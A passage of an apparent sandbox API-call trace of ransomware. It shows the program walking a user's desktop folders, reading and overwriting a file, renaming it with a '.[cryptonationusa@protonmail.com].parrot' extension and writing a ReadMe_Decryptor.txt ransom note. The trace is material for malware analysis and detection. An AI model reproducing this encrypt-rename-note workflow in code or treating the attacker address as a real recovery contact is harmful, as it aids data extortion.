0x5e9a18 [0034.567] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5e9a18 | out: hHeap=0x5b0000) returned 1 [0034.567] lstrcmpW (lpString1="QDvKu.ods.[cryptonationusa@protonmail.com].parrot", lpString2="ReadMe_Decryptor.txt") returned -1 [0034.568] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xe0) returned 0x5d1868 [0034.568] FindNextFileW (in: hFindFile=0x600410, lpFindFileData=0x18f56c | out: lpFindFileData=0x18f56c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa553f5c0, ftCreationTime.dwHighDateTime=0x1d5e09d, ftLastAccessTime.dwLowDateTime=0xa553f5c0, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xa585f2a0, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x258, dwReserved0=0x0, dwReserved1=0x0, cFileName="ReadMe_Decryptor.txt", cAlternateFileName="README~1.TXT")) returned 1 [0034.568] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x30) returned 0x605358 [0034.568] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x605358 | out: hHeap=0x5b0000) returned 1 [0034.568] lstrcmpW (lpString1="ReadMe_Decryptor.txt", lpString2="ReadMe_Decryptor.txt") returned 0 [0034.568] FindNextFileW (in: hFindFile=0x600410, lpFindFileData=0x18f56c | out: lpFindFileData=0x18f56c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa553f5c0, ftCreationTime.dwHighDateTime=0x1d5e09d, ftLastAccessTime.dwLowDateTime=0xa553f5c0, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xa585f2a0, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x258, dwReserved0=0x0, dwReserved1=0x0, cFileName="ReadMe_Decryptor.txt", cAlternateFileName="README~1.TXT")) returned 0 [0034.568] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5e6250 | out: hHeap=0x5b0000) returned 1 [0034.568] FindClose (in: hFindFile=0x600410 | out: hFindFile=0x600410) returned 1 [0034.568] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60c5e8 | out: hHeap=0x5b0000) returned 1 [0034.568] FindNextFileW (in: hFindFile=0x6003d0, lpFindFileData=0x18f85c | out: lpFindFileData=0x18f85c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf2427b00, ftCreationTime.dwHighDateTime=0x1d5b7e3, ftLastAccessTime.dwLowDateTime=0x75d8e8b0, ftLastAccessTime.dwHighDateTime=0x1d5bcc0, ftLastWriteTime.dwLowDateTime=0x75d8e8b0, ftLastWriteTime.dwHighDateTime=0x1d5bcc0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="WVZA5QXSYIXjs", cAlternateFileName="WVZA5Q~1")) returned 0 [0034.568] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x60) returned 0x60b4e0 [0034.568] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x601838 | out: hHeap=0x5b0000) returned 1 [0034.568] FindClose (in: hFindFile=0x6003d0 | out: hFindFile=0x6003d0) returned 1 [0034.570] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zi oa\\*", fInfoLevelId=0x0, lpFindFileData=0x18f85c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18f85c) returned 0x6003d0 [0034.571] FindNextFileW (in: hFindFile=0x6003d0, lpFindFileData=0x18f85c | out: lpFindFileData=0x18f85c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xb32d6790, ftCreationTime.dwHighDateTime=0x1d5c2c9, ftLastAccessTime.dwLowDateTime=0xa5304120, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xa5304120, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0034.572] FindNextFileW (in: hFindFile=0x6003d0, lpFindFileData=0x18f85c | out: lpFindFileData=0x18f85c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5202e3d0, ftCreationTime.dwHighDateTime=0x1d5c13b, ftLastAccessTime.dwLowDateTime=0xa4e8d7e0, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xa4e8d7e0, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="cNIsUDrVJZuOF", cAlternateFileName="CNISUD~1")) returned 1 [0034.572] FindNextFileW (in: hFindFile=0x6003d0, lpFindFileData=0x18f85c | out: lpFindFileData=0x18f85c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x94ae11f0, ftCreationTime.dwHighDateTime=0x1d5bffb, ftLastAccessTime.dwLowDateTime=0xc7cb2f60, ftLastAccessTime.dwHighDateTime=0x1d5bc5d, ftLastWriteTime.dwLowDateTime=0xa5304120, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x16608, dwReserved0=0x0, dwReserved1=0x0, cFileName="kFnn6zs-dVx.wav.[cryptonationusa@protonmail.com].parrot", cAlternateFileName="KFNN6Z~1.PAR")) returned 1 [0034.572] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x70) returned 0x5e9a18 [0034.572] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5e9a18 | out: hHeap=0x5b0000) returned 1 [0034.572] lstrcmpW (lpString1="kFnn6zs-dVx.wav.[cryptonationusa@protonmail.com].parrot", lpString2="ReadMe_Decryptor.txt") returned -1 [0034.572] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xd0) returned 0x5d7858 [0034.572] FindNextFileW (in: hFindFile=0x6003d0, lpFindFileData=0x18f85c | out: lpFindFileData=0x18f85c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51b569c0, ftCreationTime.dwHighDateTime=0x1d5c230, ftLastAccessTime.dwLowDateTime=0xa545ad80, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xa545ad80, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="KQez9RRBBPj_q", cAlternateFileName="KQEZ9R~1")) returned 1 [0034.572] FindNextFileW (in: hFindFile=0x6003d0, lpFindFileData=0x18f85c | out: lpFindFileData=0x18f85c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa5304120, ftCreationTime.dwHighDateTime=0x1d5e09d, ftLastAccessTime.dwLowDateTime=0xa5304120, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xa532a280, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x258, dwReserved0=0x0, dwReserved1=0x0, cFileName="ReadMe_Decryptor.txt", cAlternateFileName="README~1.TXT")) returned 1 [0034.572] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x30) returned 0x605358 [0034.572] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x605358 | out: hHeap=0x5b0000) returned 1 [0034.572] lstrcmpW (lpString1="ReadMe_Decryptor.txt", lpString2="ReadMe_Decryptor.txt") returned 0 [0034.572] FindNextFileW (in: hFindFile=0x6003d0, lpFindFileData=0x18f85c | out: lpFindFileData=0x18f85c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf2427b00, ftCreationTime.dwHighDateTime=0x1d5b7e3, ftLastAccessTime.dwLowDateTime=0xa585f2a0, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xa585f2a0, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="WVZA5QXSYIXjs", cAlternateFileName="WVZA5Q~1")) returned 1 [0034.572] FindNextFileW (in: hFindFile=0x6003d0, lpFindFileData=0x18f85c | out: lpFindFileData=0x18f85c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf2427b00, ftCreationTime.dwHighDateTime=0x1d5b7e3, ftLastAccessTime.dwLowDateTime=0xa585f2a0, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xa585f2a0, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="WVZA5QXSYIXjs", cAlternateFileName="WVZA5Q~1")) returned 0 [0034.572] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60b4e0 | out: hHeap=0x5b0000) returned 1 [0034.572] FindClose (in: hFindFile=0x6003d0 | out: hFindFile=0x6003d0) returned 1 [0034.572] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60b478 | out: hHeap=0x5b0000) returned 1 [0034.572] FindNextFileW (in: hFindFile=0x600310, lpFindFileData=0x18fb4c | out: lpFindFileData=0x18fb4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x69957790, ftCreationTime.dwHighDateTime=0x1d5be72, ftLastAccessTime.dwLowDateTime=0xfd338510, ftLastAccessTime.dwHighDateTime=0x1d5c001, ftLastWriteTime.dwLowDateTime=0xfd338510, ftLastWriteTime.dwHighDateTime=0x1d5c001, nFileSizeHigh=0x0, nFileSizeLow=0x31ea, dwReserved0=0x0, dwReserved1=0x0, cFileName="zX4O4MK8g.flv", cAlternateFileName="ZX4O4M~1.FLV")) returned 1 [0034.572] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x60d448 [0034.572] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60d448 | out: hHeap=0x5b0000) returned 1 [0034.572] lstrcmpW (lpString1="zX4O4MK8g.flv", lpString2="ReadMe_Decryptor.txt") returned 1 [0034.572] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zX4O4MK8g.flv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\zx4o4mk8g.flv"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x258 [0034.573] GetFileSize (in: hFile=0x258, lpFileSizeHigh=0x18fb10 | out: lpFileSizeHigh=0x18fb10*=0x0) returned 0x31ea [0034.573] LockFile (hFile=0x258, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x3302, nNumberOfBytesToLockHigh=0x0) returned 1 [0034.573] SetFilePointerEx (in: hFile=0x258, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0034.573] ReadFile (in: hFile=0x258, lpBuffer=0x18faf0, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18fa94, lpOverlapped=0x0 | out: lpBuffer=0x18faf0*, lpNumberOfBytesRead=0x18fa94*=0x18, lpOverlapped=0x0) returned 1 [0034.573] SetFilePointerEx (in: hFile=0x258, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0034.574] ReadFile (in: hFile=0x258, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0x31ea, lpNumberOfBytesRead=0x18fa94, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18fa94*=0x31ea, lpOverlapped=0x0) returned 1 [0034.574] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d49a0 [0034.574] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d49a0 | out: hHeap=0x5b0000) returned 1 [0034.574] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x23) returned 0x606cd8 [0034.574] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x10) returned 0x606968 [0034.574] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2c) returned 0x605358 [0034.574] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x120c) returned 0x5d4d18 [0034.574] GetLastError () returned 0x0 [0034.574] SetLastError (dwErrCode=0x0) [0034.574] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x605358 | out: hHeap=0x5b0000) returned 1 [0034.574] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x78) returned 0x5c2680 [0034.574] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x10) returned 0x606950 [0034.574] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x14) returned 0x5cb6c8 [0034.574] GetLastError () returned 0x0 [0034.574] SetLastError (dwErrCode=0x0) [0034.574] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5cb6c8 | out: hHeap=0x5b0000) returned 1 [0034.574] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2c) returned 0x605358 [0034.574] GetLastError () returned 0x0 [0034.574] SetLastError (dwErrCode=0x0) [0034.574] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x605358 | out: hHeap=0x5b0000) returned 1 [0034.574] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2c) returned 0x605358 [0034.574] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x10) returned 0x606998 [0034.574] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1000) returned 0x5d8fd0 [0034.574] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1033) returned 0x5cce58 [0034.574] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2033) returned 0x5cde98 [0034.574] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5cce58 | out: hHeap=0x5b0000) returned 1 [0034.574] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4033) returned 0x629218 [0034.574] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5cde98 | out: hHeap=0x5b0000) returned 1 [0034.574] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xa) returned 0x6069b0 [0034.575] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x606998 | out: hHeap=0x5b0000) returned 1 [0034.575] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6069b0 | out: hHeap=0x5b0000) returned 1 [0034.575] GetLastError () returned 0x0 [0034.575] SetLastError (dwErrCode=0x0) [0034.575] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x605358 | out: hHeap=0x5b0000) returned 1 [0034.575] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d8fd0 | out: hHeap=0x5b0000) returned 1 [0034.575] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x606950 | out: hHeap=0x5b0000) returned 1 [0034.575] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5c2680 | out: hHeap=0x5b0000) returned 1 [0034.575] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x606968 | out: hHeap=0x5b0000) returned 1 [0034.575] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x606cd8 | out: hHeap=0x5b0000) returned 1 [0034.575] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4d18 | out: hHeap=0x5b0000) returned 1 [0034.575] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x100) returned 0x60c798 [0034.575] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x180) returned 0x60c8a0 [0034.575] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60c798 | out: hHeap=0x5b0000) returned 1 [0034.575] SetFilePointerEx (in: hFile=0x258, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0034.575] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d49a0 [0034.575] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4960 [0034.575] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d49a0 | out: hHeap=0x5b0000) returned 1 [0034.575] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x3) returned 0x5d49a0 [0034.575] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4960 | out: hHeap=0x5b0000) returned 1 [0034.575] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4960 [0034.575] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d49a0 | out: hHeap=0x5b0000) returned 1 [0034.575] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x6) returned 0x5d49a0 [0034.575] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4960 | out: hHeap=0x5b0000) returned 1 [0034.575] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x9) returned 0x606968 [0034.575] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d49a0 | out: hHeap=0x5b0000) returned 1 [0034.575] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xd) returned 0x606950 [0034.575] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x606968 | out: hHeap=0x5b0000) returned 1 [0034.575] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x13) returned 0x5cb6c8 [0034.575] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x606950 | out: hHeap=0x5b0000) returned 1 [0034.575] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1c) returned 0x60d448 [0034.575] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5cb6c8 | out: hHeap=0x5b0000) returned 1 [0034.575] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2a) returned 0x605358 [0034.575] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60d448 | out: hHeap=0x5b0000) returned 1 [0034.575] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x3f) returned 0x5c75b8 [0034.575] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x605358 | out: hHeap=0x5b0000) returned 1 [0034.575] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x5e) returned 0x60b478 [0034.575] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5c75b8 | out: hHeap=0x5b0000) returned 1 [0034.575] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8d) returned 0x5d1950 [0034.576] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60b478 | out: hHeap=0x5b0000) returned 1 [0034.576] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xd3) returned 0x601838 [0034.576] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d1950 | out: hHeap=0x5b0000) returned 1 [0034.576] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x13c) returned 0x6105c0 [0034.576] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x601838 | out: hHeap=0x5b0000) returned 1 [0034.576] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1da) returned 0x610708 [0034.576] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6105c0 | out: hHeap=0x5b0000) returned 1 [0034.576] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2c7) returned 0x5d2850 [0034.576] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x610708 | out: hHeap=0x5b0000) returned 1 [0034.576] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x42a) returned 0x6105c0 [0034.576] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d2850 | out: hHeap=0x5b0000) returned 1 [0034.576] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x63f) returned 0x5d33c8 [0034.576] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6105c0 | out: hHeap=0x5b0000) returned 1 [0034.576] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x95e) returned 0x5d4d18 [0034.576] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d33c8 | out: hHeap=0x5b0000) returned 1 [0034.576] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xe0d) returned 0x5d8fd0 [0034.576] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4d18 | out: hHeap=0x5b0000) returned 1 [0034.576] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1536) returned 0x5cce58 [0034.576] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d8fd0 | out: hHeap=0x5b0000) returned 1 [0034.576] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1fbf) returned 0x5ce398 [0034.576] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5cce58 | out: hHeap=0x5b0000) returned 1 [0034.576] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2f8d) returned 0x62d258 [0034.576] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5ce398 | out: hHeap=0x5b0000) returned 1 [0034.576] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4742) returned 0x6301f0 [0034.576] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x62d258 | out: hHeap=0x5b0000) returned 1 [0034.576] WriteFile (in: hFile=0x258, lpBuffer=0x630200*, nNumberOfBytesToWrite=0x3308, lpNumberOfBytesWritten=0x18fa94, lpOverlapped=0x0 | out: lpBuffer=0x630200*, lpNumberOfBytesWritten=0x18fa94*=0x3308, lpOverlapped=0x0) returned 1 [0034.576] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6301f0 | out: hHeap=0x5b0000) returned 1 [0034.577] UnlockFile (hFile=0x258, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x3302, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0034.577] CloseHandle (hObject=0x258) returned 1 [0034.578] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x70) returned 0x5e9a18 [0034.578] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xc0) returned 0x5d1950 [0034.578] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5e9a18 | out: hHeap=0x5b0000) returned 1 [0034.578] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zX4O4MK8g.flv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\zx4o4mk8g.flv"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zX4O4MK8g.flv.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\zx4o4mk8g.flv.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0034.582] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d1950 | out: hHeap=0x5b0000) returned 1 [0034.582] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60c8a0 | out: hHeap=0x5b0000) returned 1 [0034.582] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x629218 | out: hHeap=0x5b0000) returned 1 [0034.582] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x50) returned 0x5eba80 [0034.582] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x80) returned 0x60c5e8 [0034.582] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8) returned 0x5d49a0 [0034.582] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8) returned 0x5d4960 [0034.582] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\ReadMe_Decryptor.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\readme_decryptor.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18f888, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x258 [0034.583] GetFileType (hFile=0x258) returned 0x1 [0034.583] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1000) returned 0x5d4d18 [0034.656] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\*", fInfoLevelId=0x0, lpFindFileData=0x18fb4c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18fb4c) returned 0x600310 [0034.656] FindNextFileW (in: hFindFile=0x600310, lpFindFileData=0x18fb4c | out: lpFindFileData=0x18fb4c*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xa5885400, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xa5885400, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0034.657] FindNextFileW (in: hFindFile=0x600310, lpFindFileData=0x18fb4c | out: lpFindFileData=0x18fb4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3064f5f0, ftCreationTime.dwHighDateTime=0x1d5ba84, ftLastAccessTime.dwLowDateTime=0x136d5f30, ftLastAccessTime.dwHighDateTime=0x1d5b91e, ftLastWriteTime.dwLowDateTime=0xa3732000, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x156e8, dwReserved0=0x0, dwReserved1=0x0, cFileName="-AA3_k nv_.swf.[cryptonationusa@protonmail.com].parrot", cAlternateFileName="-AA3_K~1.PAR")) returned 1 [0034.657] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x70) returned 0x5e9a18 [0034.657] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5e9a18 | out: hHeap=0x5b0000) returned 1 [0034.657] lstrcmpW (lpString1="-AA3_k nv_.swf.[cryptonationusa@protonmail.com].parrot", lpString2="ReadMe_Decryptor.txt") returned -1 [0034.657] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xc0) returned 0x5d1950 [0034.657] FindNextFileW (in: hFindFile=0x600310, lpFindFileData=0x18fb4c | out: lpFindFileData=0x18fb4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb9c62fc0, ftCreationTime.dwHighDateTime=0x1d5c2ff, ftLastAccessTime.dwLowDateTime=0x1a39ea20, ftLastAccessTime.dwHighDateTime=0x1d5c5a0, ftLastWriteTime.dwLowDateTime=0xa3888c60, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x9c08, dwReserved0=0x0, dwReserved1=0x0, cFileName="11V_r.bmp.[cryptonationusa@protonmail.com].parrot", cAlternateFileName="11V_RB~1.PAR")) returned 1 [0034.657] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x70) returned 0x5e9a18 [0034.657] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5e9a18 | out: hHeap=0x5b0000) returned 1 [0034.657] lstrcmpW (lpString1="11V_r.bmp.[cryptonationusa@protonmail.com].parrot", lpString2="ReadMe_Decryptor.txt") returned -1 [0034.657] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xb0) returned 0x601838 [0034.657] FindNextFileW (in: hFindFile=0x600310, lpFindFileData=0x18fb4c | out: lpFindFileData=0x18fb4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x22aed710, ftCreationTime.dwHighDateTime=0x1d5c5af, ftLastAccessTime.dwLowDateTime=0x4a311fb0, ftLastAccessTime.dwHighDateTime=0x1d5c595, 